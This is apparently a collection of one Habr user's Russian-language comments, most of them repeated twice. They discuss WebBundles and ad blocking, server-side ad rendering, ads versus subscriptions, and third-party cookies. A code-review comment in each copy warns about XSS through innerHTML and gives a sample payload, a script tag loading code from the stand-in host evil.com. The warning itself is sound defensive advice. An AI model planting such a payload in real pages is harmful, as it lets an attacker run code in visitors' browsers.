А вы давали согласие хабру на хранение вашего комментария? Вы его написали на своей клавиатуре, а хабр хранит и получает деньги за счёт рекламы от пользователей, которые его читают.
Да, можно. Я об этом тоже упомянул тут. Но подход, который вы описываете не требует бандлов. Это можно сделать и сегодня. С бандлами легче, да, но это уже возможно.
Не бандлы, а server-side rendering. Реклама в гугле запрашивается с доменов doubleclick.net и на нём рекламные куки пользователя сидят. Если мы перейдём на server-side то невозможно эти куки передать.
Проблемы возникнут. Server-side rendering для рекламы обсуждался (и обсуждается) в гугле давно. У него есть плюсы:
частичный обход адблокеров
страница будет загружаться быстрее (т.к. не надо рекламный JS на стороне пользователя выполнять)
И минусы
потеря куков и таргетирования
сложность интеграции для владельцев сайтов (считай со всем зоопарком фреймворков и языков надо интегрироваться)
отсутствие гарантии того, что реклама не будет изменена во время рендеринга
И минусы перевешивают. Я не вижу как бандлы решают какие-то из этих минусов. Может только последний, если бандлы будут подписываться ключом каким, который браузер будет проверять потом.
Ваш браузер на ваши деньги? Вы за него заплатили что ли? Не знал, что есть платные браузеры.
И получается вы против сбором разработчиком любой информации, которая поможет сделать сайт лучше? Например собирать информацию о JS ошибках или замерять скорость рендеринга тех или иных участков сайта?
Не знаю. Но сравнение с пдф тут некорректно. Баннерная реклама не загружается, как часть самой страницу сайта, а загружается как дополнительные ресурсы, что и позволяет блокировать адблокерам. Одна из главных причин, почему реклама не рендерится сразу со страницей — это то, что это ломает таргетирование. Так что бандлы не приносят ничего существенно нового: server-side рекламу можно сделать и сегодня, но у этого больше минусов, чем плюсов для рекламных компаний.
Как минимум для разработки/дебага гораздо удобнее, когда ресурсы разделены по файлам. Я работаю в рекламе и у нас к сожалению до сих пор много inline скриптов, так они не могут кешироваться и дебажить их — одна головная боль.
Зачем мне ютуб и гугланалитикс при работе с банком?
Эм, так аналитика и не для вас (пользователя), а для разработчиков сайта. Претензии к fonts.googleapis.com у вас нет? Банк же тоже может сам шрифты хостать, а не использовать сторонние сервисы.
Связь WebBundle с борьбой с адблокерами очень натянута. Да, для рекламы удобно использовать WebBundle, т.к. реклама — это html + js/css/img ресурсы. Но WebBundle не позволяет прятать url — сам бандл всё равно будет загружаться с рекламных доменов, которые можно блокировать так же, как они блокируются сейчас. К тому же перед тем, как реклама загрузится — сначала нужно загрузить рекламный скрипт на самой странице, который опять же блокируется блокером.
Сейчас они сосуществуют. В тоже время подавляющее большинство пользователей, по крайней мере на хабре, рекламу не любят и хотят чтобы ее не существовало. И я пытаюсь представить как такой мир без рекламы будет выглядеть. Поэтому я пошел в крайность, где за любой мало мальский хороший контент надо платить подпиской.
В целом да. Эти две модели — основные жизнеспособные модели на сегодняшний день. Если кто-то придумает третью модель, без недостатков рекламы и подписки — я буду только за.
То, что вы описываете — это walled garden интернет, где за доступ к любому мало мальски качественному контенту нужно платить. Да, похоже мы к этому и идем, но это сильно отличается от текущего интернета, где мы привыкли что мы можно зайти на любой сайт и читать что хочешь. Будет ли он лучше — я не берусь судить. Не думаю, что всем нравится идея этого нового интернета, где без кредитки не посерфишь.
Я согласен, что пользователи должны осознанно понимать, что текущий интернет не бесплатный, а условно-бесплатный где платишь своими глазами. Но не стоит решать за других людей, что платная подписка для них лучше: если вы способны и готовы платить — это не значит что все способны.
Про хабр — я не смог найти данных, сколько денег они получают с рекламы, а сколько с платных аккаунтов. Платные корпоративные аккаунты по духу не отличаются от рекламы: я уверен, что есть тонна хабра пользователей, которые скажут, что они не хотят видеть проплаченные статьи в их ленте.
Да, я согласен, что платная подписка — это альтернатива, к которой уже перешли многие новостные сайты, например New York Times. Но лично для меня мир, в котором на каждом новостном сайте нужно иметь подписку, чтобы прочитать новости — это печально. Да тот же хабр, если ввести платную подписку — как много пользователей останется? Думаю очень мало. А пока хабр все ещё использует рекламу.
Я не верю, что возможно иметь качественный новостной контент созданный на чисто добровольной основе людьми в свободное от работы время. Создание такого контента — это полноценная работа.
При использовании innerHTML надо быть осторожным с динамическими данными типа hero.name и hero.description, т.к. если они не закодированы, то могут вызвать XSS. В этом плане textContent безопаснее.
Тут надо быть осторожным с hero.name и hero.description, т.к. они могут вызвать XSS проблемы, если hero.description например <script src="evil.com/do_bad_stuff.js"></script>.
А вы давали согласие хабру на хранение вашего комментария? Вы его написали на своей клавиатуре, а хабр хранит и получает деньги за счёт рекламы от пользователей, которые его читают.
Да, можно. Я об этом тоже упомянул тут. Но подход, который вы описываете не требует бандлов. Это можно сделать и сегодня. С бандлами легче, да, но это уже возможно.
Не бандлы, а server-side rendering. Реклама в гугле запрашивается с доменов doubleclick.net и на нём рекламные куки пользователя сидят. Если мы перейдём на server-side то невозможно эти куки передать.
Проблемы возникнут. Server-side rendering для рекламы обсуждался (и обсуждается) в гугле давно. У него есть плюсы:
И минусы
И минусы перевешивают. Я не вижу как бандлы решают какие-то из этих минусов. Может только последний, если бандлы будут подписываться ключом каким, который браузер будет проверять потом.
Ваш браузер на ваши деньги? Вы за него заплатили что ли? Не знал, что есть платные браузеры.
И получается вы против сбором разработчиком любой информации, которая поможет сделать сайт лучше? Например собирать информацию о JS ошибках или замерять скорость рендеринга тех или иных участков сайта?
Не знаю. Но сравнение с пдф тут некорректно. Баннерная реклама не загружается, как часть самой страницу сайта, а загружается как дополнительные ресурсы, что и позволяет блокировать адблокерам. Одна из главных причин, почему реклама не рендерится сразу со страницей — это то, что это ломает таргетирование. Так что бандлы не приносят ничего существенно нового: server-side рекламу можно сделать и сегодня, но у этого больше минусов, чем плюсов для рекламных компаний.
Как бандлы помогают или препятствуют блокировке рекламы?
Как минимум для разработки/дебага гораздо удобнее, когда ресурсы разделены по файлам. Я работаю в рекламе и у нас к сожалению до сих пор много inline скриптов, так они не могут кешироваться и дебажить их — одна головная боль.
Эм, так аналитика и не для вас (пользователя), а для разработчиков сайта. Претензии к fonts.googleapis.com у вас нет? Банк же тоже может сам шрифты хостать, а не использовать сторонние сервисы.
Связь WebBundle с борьбой с адблокерами очень натянута. Да, для рекламы удобно использовать WebBundle, т.к. реклама — это html + js/css/img ресурсы. Но WebBundle не позволяет прятать url — сам бандл всё равно будет загружаться с рекламных доменов, которые можно блокировать так же, как они блокируются сейчас. К тому же перед тем, как реклама загрузится — сначала нужно загрузить рекламный скрипт на самой странице, который опять же блокируется блокером.
Сейчас они сосуществуют. В тоже время подавляющее большинство пользователей, по крайней мере на хабре, рекламу не любят и хотят чтобы ее не существовало. И я пытаюсь представить как такой мир без рекламы будет выглядеть. Поэтому я пошел в крайность, где за любой мало мальский хороший контент надо платить подпиской.
В целом да. Эти две модели — основные жизнеспособные модели на сегодняшний день. Если кто-то придумает третью модель, без недостатков рекламы и подписки — я буду только за.
И мы хотим вернуться в те времена? Отказаться от открытого интернета?
То, что вы описываете — это walled garden интернет, где за доступ к любому мало мальски качественному контенту нужно платить. Да, похоже мы к этому и идем, но это сильно отличается от текущего интернета, где мы привыкли что мы можно зайти на любой сайт и читать что хочешь. Будет ли он лучше — я не берусь судить. Не думаю, что всем нравится идея этого нового интернета, где без кредитки не посерфишь.
Я согласен, что пользователи должны осознанно понимать, что текущий интернет не бесплатный, а условно-бесплатный где платишь своими глазами. Но не стоит решать за других людей, что платная подписка для них лучше: если вы способны и готовы платить — это не значит что все способны.
Про хабр — я не смог найти данных, сколько денег они получают с рекламы, а сколько с платных аккаунтов. Платные корпоративные аккаунты по духу не отличаются от рекламы: я уверен, что есть тонна хабра пользователей, которые скажут, что они не хотят видеть проплаченные статьи в их ленте.
Да, я согласен, что платная подписка — это альтернатива, к которой уже перешли многие новостные сайты, например New York Times. Но лично для меня мир, в котором на каждом новостном сайте нужно иметь подписку, чтобы прочитать новости — это печально. Да тот же хабр, если ввести платную подписку — как много пользователей останется? Думаю очень мало. А пока хабр все ещё использует рекламу.
Я не верю, что возможно иметь качественный новостной контент созданный на чисто добровольной основе людьми в свободное от работы время. Создание такого контента — это полноценная работа.
Серьезно? Вы предпочитаете платить за подписку на каждом отдельном новостном портале?
Хром планирует убрать 3rd party cookies в течение двух лет: https://blog.chromium.org/2020/01/building-more-private-web-path-towards.html Так же хром не делает поблажек для гугловой рекламы: есть требования, и если какая реклама их нарушает, то она будет заблокирована, независимо от источника.
Хорошо. А кто платит за создание контента на тех оригинальных, неворованных, сайтах?
При использовании innerHTML надо быть осторожным с динамическими данными типа hero.name и hero.description, т.к. если они не закодированы, то могут вызвать XSS. В этом плане textContent безопаснее.
Тут надо быть осторожным с hero.name и hero.description, т.к. они могут вызвать XSS проблемы, если hero.description например
<script src="evil.com/do_bad_stuff.js"></script>.